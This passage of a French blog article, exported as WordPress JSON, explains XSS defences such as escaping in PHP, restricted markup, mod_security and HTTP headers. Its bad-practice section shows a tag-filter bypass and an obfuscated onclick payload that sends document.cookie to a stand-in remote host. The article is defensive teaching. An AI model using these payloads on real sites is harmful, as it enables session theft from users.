?<\/h2>\n<p style=\"text-align: justify;\">Un grand nombre d\u2019outils d\u00e9di\u00e9s \u00e0 l\u2019automatisation des tests d\u2019intrusions est disponible. On peut citer les plus r\u00e9put\u00e9s comme par exemple : OWASP ZAP, Skipfish, Nessus\/OpenVAS, W3af, Nikto, etc &#8230;<\/p>\n<p style=\"text-align: justify;\">Certains sont d\u00e9di\u00e9s uniquement \u00e0 l\u2019exploitation de failles de type injection XSS, \u00e0 savoir :<\/p>\n<ul style=\"text-align: justify;\">\n<li>OWASP &#8211; Xenotix XSS Exploit Framework V4 : <a href=\"https:\/\/www.owasp.org\/index.php\/OWASP_Xenotix_XSS_Exploit_Framework\">https:\/\/www.owasp.org\/index.php\/OWASP_Xenotix_XSS_Exploit_Framework<\/a> ;<\/li>\n<li>XSS-Me (Plugin Firefox) : <a href=\"http:\/\/labs.securitycompass.com\/exploit-me\/\">http:\/\/labs.securitycompass.com\/exploit-me\/<\/a>.<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">L\u2019utilisation de ces outils permet de cibler rapidement (dans l\u2019application audit\u00e9e) une ressource vuln\u00e9rable aux attaques XSS, mais ne remplace pas, je trouve, les tests manuels : plus complets car le code inject\u00e9 est construit sur mesure.<\/p>\n<h2>Comment s\u00e9curiser son application contre les XSS ?<\/h2>\n<p>Avant de voir ce que PHP nous propose, je voulais revenir sur une solution trop souvent utilis\u00e9e par les d\u00e9veloppeurs d\u00e9butants qui souhaitent se pr\u00e9munir des XSS via du code JavaScript&#8230;<\/p>\n<h3><strong>Mauvaise pratique : contributions utilisateur \u201criche\u201d (exemple pratique)<\/strong><\/h3>\n<p><span style=\"text-decoration: underline;\">Contexte:<\/span><\/p>\n<p>Lorsque les utilisateurs du service peuvent contribuer via des \u00e9diteurs riches (WYSIWYG) et qu\u2019il est n\u00e9cessaire d\u2019offrir la possibilit\u00e9 de styliser le contenu.<\/p>\n<p><span style=\"text-decoration: underline;\">Mauvaise pratique :<\/span><\/p>\n<ul>\n<li>Autoriser n\u2019importe quelle balise HTML \u00e0 l\u2019exception de la balise <code><\/code><code class=\"spip_code\">&lt;script&gt; <\/code>:<\/li>\n<\/ul>\n<p>En effet, si la balise est simplement enlev\u00e9e, par exemple, via les fonctions suivante :<\/p>\n<pre><code class=\"spip_code\">preg_replace(\u2018\/&lt;script&gt;\/\u2019,\u2019\u2019, $input)<\/code><\/pre>\n<p>Ou encore :<\/p>\n<pre><code class=\"spip_code\">str_replace(\u2018&lt;script&gt;\u2019,\u2019\u2019, $input)<\/code><\/pre>\n<p>Il sera toujours possible de faire ex\u00e9cuter du JS en feintant le filtrage via la saisie suivante :<br \/>\n<code class=\"spip_code\">&lt;scr&lt;script&gt;ipt&gt;<\/code><\/p>\n<p>Ou en passant par la directive \u201cjavascript:\u201d au sein d\u2019un attribut lambda tel que :<\/p>\n<pre>&lt;<a href=\"http:\/\/december.com\/html\/4\/element\/a.html\">a<\/a> href=\u201d#\u201d\u00a0 onclick=\u201djavascript:location.href=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,115,101,114,118,101,117,114,45,100,105,115,116,97,110,116,46,110,101,116,47,112,97,103,101,45,112,105,101,103,101,46,112,104,112,63,99,111,111,107,105,101,61)+document.cookie;\u201d&gt;&lt;\/<a href=\"http:\/\/december.com\/html\/4\/element\/a.html\">a<\/a>&gt;<\/pre>\n<p style=\"text-align: justify;\"><span style=\"text-decoration: underline;\">La solution pr\u00e9conis\u00e9e :<\/span><\/p>\n<p style=\"text-align: justify;\">Passer par un langage interm\u00e9diaire (autre que HTML) o\u00f9 vous n\u2019autoriserez que certains \u00e9l\u00e9ments de style\/formatage comme par exemple :<\/p>\n<ul style=\"text-align: justify;\">\n<li>Le langage XML avec une DTD restreinte (par rapport au HTML) suivi d\u2019une XSLT permettant de transposer le code r\u00e9dig\u00e9 (g\u00e9n\u00e9r\u00e9 en XML par l\u2019\u00e9diteur riche) en HTML.<\/li>\n<li>Un nouveau langage avec un syst\u00e8me alternatif de balisage arborescent (dans le m\u00eame esprit que BBCode, Wiki ou Markdown pour ne cit\u00e9 qu\u2019eux) ou vous n\u2019autoriserez par exemple que les balises suivantes : [div] [\/div] et [br].<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Si l\u2019utilisateur venait \u00e0 ins\u00e9rer d\u2019autres balises que celles autoris\u00e9es, elles ne seraient pas interpr\u00e9t\u00e9es par le navigateur.<\/p>\n<p style=\"text-align: justify;\">Dans les deux cas, pour se pr\u00e9munir des XSS, nous devons restreindre les fonctionnalit\u00e9s du langage interpr\u00e9t\u00e9 : concept de restriction de langage.<\/p>\n<h3><strong>\u00c9chappement unitaire via PHP<\/strong><\/h3>\n<p>Maintenant que nous avons fait le tour des diff\u00e9rentes m\u00e9thodes d\u2019attaques et mauvaises pratiques, nous allons voir ce que nous propose le langage PHP pour s\u2019en pr\u00e9munir.<\/p>\n<p>PHP propose deux fonctions permettant d\u2019encoder sous forme d\u2019entit\u00e9s HTML une cha\u00eene de caract\u00e8res :<\/p>\n<ul>\n<li><em>strip_tags()<\/em><\/li>\n<\/ul>\n<p>Permet de supprimer tous les tags HTML non souhait\u00e9s (tous tags sauf ceux pass\u00e9s en param\u00e8tre de la fonction)<\/p>\n<ul>\n<li><em>htmlspecialchars()<\/em><\/li>\n<\/ul>\n<p>Permet de convertir les caract\u00e8res <code>&amp;<\/code>, <code>\u2018<\/code>,<code>\"<\/code>,<code>&lt;<\/code>,<code>&gt;<\/code> sous forme d\u2019entit\u00e9s HTML<\/p>\n<ul>\n<li><em>htmlentities()<\/em><\/li>\n<\/ul>\n<p>Permet de convertir tous les caract\u00e8res sous forme d\u2019entit\u00e9s HTML y compris les caract\u00e8res \u2018\u00e0\u2019, \u2018\u00e9\u2019, \u2018\u00e8\u2019, etc\u2026<\/p>\n<p style=\"text-align: justify;\">Dans des framework \u00e9volu\u00e9s (tel que Symfony) est propos\u00e9 un m\u00e9canisme permettant d\u2019\u00e9chapper automatiquement (escaping) les donn\u00e9es qui transitent d\u2019un contr\u00f4leur \u00e0 la vue (objet \u201cDecorator\u201d) ou entre le contr\u00f4leur et le mod\u00e8le de donn\u00e9es (m\u00e9thode bind() des formulaires). Ce qui revient \u00e0 prot\u00e9ger les donn\u00e9es venant de n\u2019importe quel vecteur d\u2019attaque (BDD, param\u00e8tres HTTP, etc.).<\/p>\n<h3><strong>WAF &#8211; Web Application Firewall<\/strong><\/h3>\n<p style=\"text-align: justify;\">De mani\u00e8re g\u00e9n\u00e9ralis\u00e9e, il est possible de ne pas traiter les requ\u00eates potentiellement malicieuses via des modules serveurs comme c\u2019est le cas pour le module open-source et cross-platform disponible pour les serveurs Apache, IIS7 et Nginx nomm\u00e9 \u201cmod_security\u201d :<\/p>\n<p><a href=\"http:\/\/www.modsecurity.org\/download\/\">http:\/\/www.modsecurity.org\/download\/<\/a><\/p>\n<p style=\"text-align: justify;\">Cette protection est possible, entre autres, via la directive \u201cSecRule\u201d qui permet de d\u00e9finir un <em>pattern<\/em> pour chaque requ\u00eate. Ce module inclut aussi un certain nombre de fonctions de transformation qui permettent de normaliser les donn\u00e9es avant d&rsquo;appliquer des op\u00e9rateurs, tels que : <em>htmlEntityDecode<\/em>, <em>urlDecodeUni<\/em>, <em>jsDecode<\/em>, <em>cssDecode<\/em>, etc &#8230;<\/p>\n<p style=\"text-align: justify;\">Un projet OWASP propose une solution \u201cOut of the box\u201d bas\u00e9e sur ce module et qui se nomme : \u201c<em>OWASP ModSecurity Core Rule Set (CRS)<\/em>\u201d :<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.owasp.org\/index.php\/Category:OWASP_ModSecurity_Core_Rule_Set_Project#tab=Home\">https:\/\/www.owasp.org\/index.php\/Category:OWASP_ModSecurity_Core_Rule_Set_Project#tab=Home<\/a><\/p>\n<p style=\"text-align: justify;\">Il offre une protection g\u00e9n\u00e9rique contre les vuln\u00e9rabilit\u00e9s souvent identifi\u00e9es dans les applications Web dont les XSS.<\/p>\n<p style=\"text-align: justify;\">L\u2019utilisation de cet outil ne fera pas l\u2019objet de cet article, consultez sa documentation pour apprendre \u00e0 l&rsquo;utiliser :<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.owasp.org\/index.php\/Category:OWASP_ModSecurity_Core_Rule_Set_Project#tab=Documentation\">https:\/\/www.owasp.org\/index.php\/Category:OWASP_ModSecurity_Core_Rule_Set_Project#tab=Documentation<\/a><\/p>\n<h3><strong>Header HTTP<\/strong><\/h3>\n<p>Depuis HTML5, une nouvelle directive a fait surface pour accro\u00eetre la s\u00e9curit\u00e9 contre les Reflected XSS (uniquement) via le<em>header HTTP<\/em> suivant : \u201cX-XSS-Protection\u201d.<\/p>\n<p><a href=\"https:\/\/dvcs.w3.org\/hg\/content-security-policy\/raw-file\/tip\/csp-specification.dev.html#reflected-xss\">https:\/\/dvcs.w3.org\/hg\/content-security-policy\/raw-file\/tip\/csp-specification.dev.html#reflected-xss<\/a><\/p>\n<p><span style=\"text-decoration: underline;\">Remarque :<\/span> cette directive ne fonctionne pas sur \u00ab\u00a0Internet Explorer\u00a0\u00bb inf\u00e9rieur \u00e0 la 8\u00e8me version.<\/p>\n<p>Elle permet de d\u00e9tecter, de pr\u00e9venir et de d\u00e9sactiver l\u2019ex\u00e9cution de scripts non-autoris\u00e9s (code contenu dans les param\u00e8tres HTTP).<\/p>\n<p>Pour activer cette protection, il faut ajouter la directive suivante dans le <em>header<\/em> de la r\u00e9ponse HTTP :<\/p>\n<pre><code>X-XSS-Protection: 1; mode=block\r\n<\/code><\/pre>\n<p>Et pour la d\u00e9sactiver :<\/p>\n<pre><code>X-XSS-Protection: 0\r\n<\/code><\/pre>\n<p>Pour en savoir plus sur les fonctionnalit\u00e9s impl\u00e9ment\u00e9es depuis HTML5, r\u00e9f\u00e9rez-vous au lien suivant :<\/p>\n<p><a href=\"https:\/\/www.owasp.org\/index.php\/HTML5_Security_Cheat_Sheet#HTTP_Headers_to_enhance_security\">https:\/\/www.owasp.org\/index.php\/HTML5_Security_Cheat_Sheet#HTTP_Headers_to_enhance_security<\/a><\/p>\n<h2>R\u00e9f\u00e9rences, Bibliographie et Webographie<\/h2>\n<ul>\n<li>Livres :\n<ul>\n<li>\u00ab\u00a0PHP 5 avanc\u00e9\u201c (5\u00e8me \u00e9dition) \u00e9crit par Eric Daspet et Cyril Pierre De Geyer<\/li>\n<\/ul>\n<\/li>\n<li>Liens :\n<ul>\n<li>OWASP Top10 : <a href=\"https:\/\/www.owasp.org\/index.php\/Category:OWASP_Top_Ten_Project\">https:\/\/www.owasp.org\/index.php\/Category:OWASP_Top_Ten_Project<\/a><\/li>\n<li>OWASP XSS : <a href=\"https:\/\/www.owasp.org\/index.php\/Cross-site_Scripting_%28XSS%29\">https:\/\/www.owasp.org\/index.php\/Cross-site_Scripting_%28XSS%29<\/a><\/li>\n<li>XSS depuis HTML 5 : <a href=\"http:\/\/html5sec.org\/#html5\">http:\/\/html5sec.org\/#html5<\/a><\/li>\n<li>W3C \u201cX-XSS-Protection\u201c : <a href=\"https:\/\/dvcs.w3.org\/hg\/content-security-policy\/raw-file\/tip\/csp-specification.dev.html#reflected-xss\">https:\/\/dvcs.w3.org\/hg\/content-security-policy\/raw-file\/tip\/csp-specification.dev.html#reflected-xss<\/a><\/li>\n<li>JavaScript Deobfuscator (Plugin Firefox) : <a href=\"https:\/\/addons.mozilla.org\/en-US\/firefox\/addon\/javascript-deobfuscator\/\">https:\/\/addons.mozilla.org\/en-US\/firefox\/addon\/javascript-deobfuscator\/<\/a><\/li>\n<li>Same Origin Policy : <a href=\"http:\/\/en.wikipedia.org\/wiki\/Same_origin_policy\">http:\/\/en.wikipedia.org\/wiki\/Same_origin_policy<\/a><\/li>\n<li>W3C Cross-Origin Resource Sharing : <a href=\"http:\/\/www.w3.org\/TR\/cors\/\">http:\/\/www.w3.org\/TR\/cors\/<\/a><\/li>\n<li>Documentation JSON-P : <a href=\"http:\/\/json-p.org\/\">http:\/\/json-p.org\/<\/a><\/li>\n<li>mod_security : <a href=\"http:\/\/www.modsecurity.org\/download\/\">http:\/\/www.modsecurity.org\/download\/<\/a><\/li>\n<li>OWASP ModSecurity Core Rule Set (CRS) : <a href=\"https:\/\/www.owasp.org\/index.php\/Category:OWASP_ModSecurity_Core_Rule_Set_Project\">https:\/\/www.owasp.org\/index.php\/Category:OWASP_ModSecurity_Core_Rule_Set_Project<\/a><\/li>\n<li>OWASP HTML5 security : <a href=\"https:\/\/www.owasp.org\/index.php\/HTML5_Security_Cheat_Sheet#HTTP_Headers_to_enhance_security\">https:\/\/www.owasp.org\/index.php\/HTML5_Security_Cheat_Sheet#HTTP_Headers_to_enhance_security<\/a><\/li>\n<li>JavaScript Deobfuscator : <a href=\"http:\/\/javascriptobfuscator.com\/\">http:\/\/javascriptobfuscator.com\/<\/a><\/li>\n<li>OWASP Xenotix XSS Exploit Framework : <a href=\"https:\/\/www.owasp.org\/index.php\/OWASP_Xenotix_XSS_Exploit_Framework\">https:\/\/www.owasp.org\/index.php\/OWASP_Xenotix_XSS_Exploit_Framework<\/a><\/li>\n<li>XSS-Me (Plugin Firefox) : <a href=\"http:\/\/labs.securitycompass.com\/exploit-me\/\">http:\/\/labs.securitycompass.com\/exploit-me\/<\/a><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>Dans ce deuxi\u00e8me article de la s\u00e9rie consacr\u00e9e aux failles applicatives, j&rsquo;aborde les injections XSS au travers de l&rsquo;OWASP. Vous d\u00e9couvrirez ces failles et apprendrez \u00e0 les d\u00e9tecter. Vous verrez enfin les moyens de vous en pr\u00e9munir.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[33],"tags":[18,26,28,45,46,31],"class_list":["post-171","post","type-post","status-publish","format-standard","hentry","category-veille-technique","tag-cross-site-scripting","tag-owasp","tag-security","tag-securite-applicative","tag-securite-des-systemes-dinformation","tag-xss-2"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>OWASP \/ Cross-Site Scripting (XSS) - Mickael FRANC (aka Pilebones)<\/title>\n<meta name=\"description\" content=\"Dans ce deuxi\u00e8me article de la s\u00e9rie consacr\u00e9e aux failles applicatives, Mickael FRANC aborde les injections XSS au travers de l&#039;OWASP. Vous d\u00e9couvrirez ces failles et apprendrez \u00e0 les d\u00e9tecter. Vous verrez enfin les moyens de vous en pr\u00e9munir.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"http:\/\/blog.clever-age.com\/fr\/2014\/02\/10\/owasp-xss-cross-site-scripting\/\" \/>\n<meta property=\"og:locale\" content=\"fr_FR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"OWASP \/ Cross-Site Scripting (XSS) - Mickael FRANC (aka Pilebones)\" \/>\n<meta property=\"og:description\" content=\"Dans ce deuxi\u00e8me article de la s\u00e9rie consacr\u00e9e aux failles applicatives, Mickael FRANC aborde les injections XSS au travers de l&#039;OWASP. Vous d\u00e9couvrirez ces failles et apprendrez \u00e0 les d\u00e9tecter. Vous verrez enfin les moyens de vous en pr\u00e9munir.\" \/>\n<meta property=\"og:url\" content=\"http:\/\/blog.clever-age.com\/fr\/2014\/02\/10\/owasp-xss-cross-site-scripting\/\" \/>\n<meta property=\"og:site_name\" content=\"Mickael FRANC (aka Pilebones)\" \/>\n<meta property=\"article:published_time\" content=\"2014-02-01T21:21:08+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2015-11-13T14:16:50+00:00\" \/>\n<meta property=\"og:image\" content=\"http:\/\/blog.clever-age.com\/wp-content\/uploads\/sites\/2\/2013\/09\/owasp_logo_150_150.jpg\" \/>\n<meta name=\"author\" content=\"Mickael FRANC\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@mickaelfranc\" \/>\n<meta name=\"twitter:site\" content=\"@mickaelfranc\" \/>\n<meta name=\"twitter:label1\" content=\"\u00c9crit par\" \/>\n\t<meta name=\"twitter:data1\" content=\"Mickael FRANC\" \/>\n\t<meta name=\"twitter:label2\" content=\"Dur\u00e9e de lecture estim\u00e9e\" \/>\n\t<meta name=\"twitter:data2\" content=\"19 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"http:\\\/\\\/blog.clever-age.com\\\/fr\\\/2014\\\/02\\\/10\\\/owasp-xss-cross-site-scripting\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.mickael-franc.fr\\\/blog\\\/owasp-cross-site-scripting-xss-2\\\/\"},\"author\":{\"name\":\"Mickael FRANC\",\"@id\":\"https:\\\/\\\/www.mickael-franc.fr\\\/blog\\\/#\\\/schema\\\/person\\\/9992f50dd21435e37ce7c0558f3f780c\"},\"headline\":\"OWASP \\\/ Cross-Site Scripting (XSS)\",\"datePublished\":\"2014-02-01T21:21:08+00:00\",\"dateModified\":\"2015-11-13T14:16:50+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.mickael-franc.fr\\\/blog\\\/owasp-cross-site-scripting-xss-2\\\/\"},\"wordCount\":3399,\"commentCount\":0,\"image\":{\"@id\":\"http:\\\/\\\/blog.clever-age.com\\\/fr\\\/2014\\\/02\\\/10\\\/owasp-xss-cross-site-scripting\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.mickael-franc.fr\\\/blog\\\/wp-content\\\/uploads\\\/2014\\\/06\\\/xss.png\",\"keywords\":[\"Cross site scripting\",\"OWASP\",\"S\u00e9curit\u00e9\",\"S\u00e9curit\u00e9 Applicative\",\"S\u00e9curit\u00e9 des syst\u00e8mes d'information\",\"XSS\"],\"articleSection\":[\"Veille technique\"],\"inLanguage\":\"fr-FR\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"http:\\\/\\\/blog.clever-age.com\\\/fr\\\/2014\\\/02\\\/10\\\/owasp-xss-cross-site-scripting\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.mickael-franc.fr\\\/blog\\\/owasp-cross-site-scripting-xss-2\\\/\",\"url\":\"http:\\\/\\\/blog.clever-age.com\\\/fr\\\/2014\\\/02\\\/10\\\/owasp-xss-cross-site-scripting\\\/\",\"name\":\"OWASP \\\/ Cross-Site Scripting (XSS) - Mickael FRANC (aka Pilebones)\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.mickael-franc.fr\\\/blog\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"http:\\\/\\\/blog.clever-age.com\\\/fr\\\/2014\\\/02\\\/10\\\/owasp-xss-cross-site-scripting\\\/#primaryimage\"},\"image\":{\"@id\":\"http:\\\/\\\/blog.clever-age.com\\\/fr\\\/2014\\\/02\\\/10\\\/owasp-xss-cross-site-scripting\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.mickael-franc.fr\\\/blog\\\/wp-content\\\/uploads\\\/2014\\\/06\\\/xss.png\",\"datePublished\":\"2014-02-01T21:21:08+00:00\",\"dateModified\":\"2015-11-13T14:16:50+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/www.mickael-franc.fr\\\/blog\\\/#\\\/schema\\\/person\\\/9992f50dd21435e37ce7c0558f3f780c\"},\"description\":\"Dans ce deuxi\u00e8me article de la s\u00e9rie consacr\u00e9e aux failles applicatives, Mickael FRANC aborde les injections XSS au travers de l'OWASP. Vous d\u00e9couvrirez ces failles et apprendrez \u00e0 les d\u00e9tecter. Vous verrez enfin les moyens de vous en pr\u00e9munir.\",\"breadcrumb\":{\"@id\":\"http:\\\/\\\/blog.clever-age.com\\\/fr\\\/2014\\\/02\\\/10\\\/owasp-xss-cross-site-scripting\\\/#breadcrumb\"},\"inLanguage\":\"fr-FR\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"http:\\\/\\\/blog.clever-age.com\\\/fr\\\/2014\\\/02\\\/10\\\/owasp-xss-cross-site-scripting\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"fr-FR\",\"@id\":\"http:\\\/\\\/blog.clever-age.com\\\/fr\\\/2014\\\/02\\\/10\\\/owasp-xss-cross-site-scripting\\\/#primaryimage\",\"url\":\"https:\\\/\\\/www.mickael-franc.fr\\\/blog\\\/wp-content\\\/uploads\\\/2014\\\/06\\\/xss.png\",\"contentUrl\":\"https:\\\/\\\/www.mickael-franc.fr\\\/blog\\\/wp-content\\\/uploads\\\/2014\\\/06\\\/xss.png\",\"width\":150,\"height\":150,\"caption\":\"XSS\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"http:\\\/\\\/blog.clever-age.com\\\/fr\\\/2014\\\/02\\\/10\\\/owasp-xss-cross-site-scripting\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\\\/\\\/www.mickael-franc.fr\\\/blog\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"OWASP \\\/ Cross-Site Scripting (XSS)\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.mickael-franc.fr\\\/blog\\\/#website\",\"url\":\"https:\\\/\\\/www.mickael-franc.fr\\\/blog\\\/\",\"name\":\"Mickael FRANC (aka Pilebones)\",\"description\":\"Tech Blog &gt; \\\/ dev\\\/security\\\/adminsys\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.mickael-franc.fr\\\/blog\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"fr-FR\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.mickael-franc.fr\\\/blog\\\/#\\\/schema\\\/person\\\/9992f50dd21435e37ce7c0558f3f780c\",\"name\":\"Mickael FRANC\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"fr-FR\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/e377c37e9cedbf92988f5562dce48645a4edb37f86eb30a4abecb1ce11b3b4a7?s=96&d=retro&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/e377c37e9cedbf92988f5562dce48645a4edb37f86eb30a4abecb1ce11b3b4a7?s=96&d=retro&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/e377c37e9cedbf92988f5562dce48645a4edb37f86eb30a4abecb1ce11b3b4a7?s=96&d=retro&r=g\",\"caption\":\"Mickael FRANC\"},\"description\":\"Software engineer @Cisco Lyon (FR) - Enthusiast about IT security (@OWASP) - Archlinux - Golang, Bash, Embedded &amp; dev system - Paragliding remaining time\",\"sameAs\":[\"https:\\\/\\\/www.mickael-franc.fr\\\/\",\"mickael.fnc\",\"https:\\\/\\\/x.com\\\/mickaelfranc\",\"https:\\\/\\\/www.youtube.com\\\/channel\\\/UCWrM3BvHAkXTEMZvWmfoaAA\"],\"url\":\"https:\\\/\\\/www.mickael-franc.fr\\\/blog\\\/author\\\/mfranc\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"OWASP \/ Cross-Site Scripting (XSS) - Mickael FRANC (aka Pilebones)","description":"Dans ce deuxi\u00e8me article de la s\u00e9rie consacr\u00e9e aux failles applicatives, Mickael FRANC aborde les injections XSS au travers de l'OWASP. Vous d\u00e9couvrirez ces failles et apprendrez \u00e0 les d\u00e9tecter. Vous verrez enfin les moyens de vous en pr\u00e9munir.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"http:\/\/blog.clever-age.com\/fr\/2014\/02\/10\/owasp-xss-cross-site-scripting\/","og_locale":"fr_FR","og_type":"article","og_title":"OWASP \/ Cross-Site Scripting (XSS) - Mickael FRANC (aka Pilebones)","og_description":"Dans ce deuxi\u00e8me article de la s\u00e9rie consacr\u00e9e aux failles applicatives, Mickael FRANC aborde les injections XSS au travers de l'OWASP. Vous d\u00e9couvrirez ces failles et apprendrez \u00e0 les d\u00e9tecter. Vous verrez enfin les moyens de vous en pr\u00e9munir.","og_url":"http:\/\/blog.clever-age.com\/fr\/2014\/02\/10\/owasp-xss-cross-site-scripting\/","og_site_name":"Mickael FRANC (aka Pilebones)","article_published_time":"2014-02-01T21:21:08+00:00","article_modified_time":"2015-11-13T14:16:50+00:00","og_image":[{"url":"http:\/\/blog.clever-age.com\/wp-content\/uploads\/sites\/2\/2013\/09\/owasp_logo_150_150.jpg","type":"","width":"","height":""}],"author":"Mickael FRANC","twitter_card":"summary_large_image","twitter_creator":"@mickaelfranc","twitter_site":"@mickaelfranc","twitter_misc":{"\u00c9crit par":"Mickael FRANC","Dur\u00e9e de lecture estim\u00e9e":"19 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"http:\/\/blog.clever-age.com\/fr\/2014\/02\/10\/owasp-xss-cross-site-scripting\/#article","isPartOf":{"@id":"https:\/\/www.mickael-franc.fr\/blog\/owasp-cross-site-scripting-xss-2\/"},"author":{"name":"Mickael FRANC","@id":"https:\/\/www.mickael-franc.fr\/blog\/#\/schema\/person\/9992f50dd21435e37ce7c0558f3f780c"},"headline":"OWASP \/ Cross-Site Scripting (XSS)","datePublished":"2014-02-01T21:21:08+00:00","dateModified":"2015-11-13T14:16:50+00:00","mainEntityOfPage":{"@id":"https:\/\/www.mickael-franc.fr\/blog\/owasp-cross-site-scripting-xss-2\/"},"wordCount":3399,"commentCount":0,"image":{"@id":"http:\/\/blog.clever-age.com\/fr\/2014\/02\/10\/owasp-xss-cross-site-scripting\/#primaryimage"},"thumbnailUrl":"https:\/\/www.mickael-franc.fr\/blog\/wp-content\/uploads\/2014\/06\/xss.png","keywords":["Cross site scripting","OWASP","S\u00e9curit\u00e9","S\u00e9curit\u00e9 Applicative","S\u00e9curit\u00e9 des syst\u00e8mes d'information","XSS"],"articleSection":["Veille technique"],"inLanguage":"fr-FR","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["http:\/\/blog.clever-age.com\/fr\/2014\/02\/10\/owasp-xss-cross-site-scripting\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/www.mickael-franc.fr\/blog\/owasp-cross-site-scripting-xss-2\/","url":"http:\/\/blog.clever-age.com\/fr\/2014\/02\/10\/owasp-xss-cross-site-scripting\/","name":"OWASP \/ Cross-Site Scripting (XSS) - Mickael FRANC (aka Pilebones)","isPartOf":{"@id":"https:\/\/www.mickael-franc.fr\/blog\/#website"},"primaryImageOfPage":{"@id":"http:\/\/blog.clever-age.com\/fr\/2014\/02\/10\/owasp-xss-cross-site-scripting\/#primaryimage"},"image":{"@id":"http:\/\/blog.clever-age.com\/fr\/2014\/02\/10\/owasp-xss-cross-site-scripting\/#primaryimage"},"thumbnailUrl":"https:\/\/www.mickael-franc.fr\/blog\/wp-content\/uploads\/2014\/06\/xss.png","datePublished":"2014-02-01T21:21:08+00:00","dateModified":"2015-11-13T14:16:50+00:00","author":{"@id":"https:\/\/www.mickael-franc.fr\/blog\/#\/schema\/person\/9992f50dd21435e37ce7c0558f3f780c"},"description":"Dans ce deuxi\u00e8me article de la s\u00e9rie consacr\u00e9e aux failles applicatives, Mickael FRANC aborde les injections XSS au travers de l'OWASP. Vous d\u00e9couvrirez ces failles et apprendrez \u00e0 les d\u00e9tecter. Vous verrez enfin les moyens de vous en pr\u00e9munir.","breadcrumb":{"@id":"http:\/\/blog.clever-age.com\/fr\/2014\/02\/10\/owasp-xss-cross-site-scripting\/#breadcrumb"},"inLanguage":"fr-FR","potentialAction":[{"@type":"ReadAction","target":["http:\/\/blog.clever-age.com\/fr\/2014\/02\/10\/owasp-xss-cross-site-scripting\/"]}]},{"@type":"ImageObject","inLanguage":"fr-FR","@id":"http:\/\/blog.clever-age.com\/fr\/2014\/02\/10\/owasp-xss-cross-site-scripting\/#primaryimage","url":"https:\/\/www.mickael-franc.fr\/blog\/wp-content\/uploads\/2014\/06\/xss.png","contentUrl":"https:\/\/www.mickael-franc.fr\/blog\/wp-content\/uploads\/2014\/06\/xss.png","width":150,"height":150,"caption":"XSS"},{"@type":"BreadcrumbList","@id":"http:\/\/blog.clever-age.com\/fr\/2014\/02\/10\/owasp-xss-cross-site-scripting\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.mickael-franc.fr\/blog\/"},{"@type":"ListItem","position":2,"name":"OWASP \/ Cross-Site Scripting (XSS)"}]},{"@type":"WebSite","@id":"https:\/\/www.mickael-franc.fr\/blog\/#website","url":"https:\/\/www.mickael-franc.fr\/blog\/","name":"Mickael FRANC (aka Pilebones)","description":"Tech Blog &gt; \/ 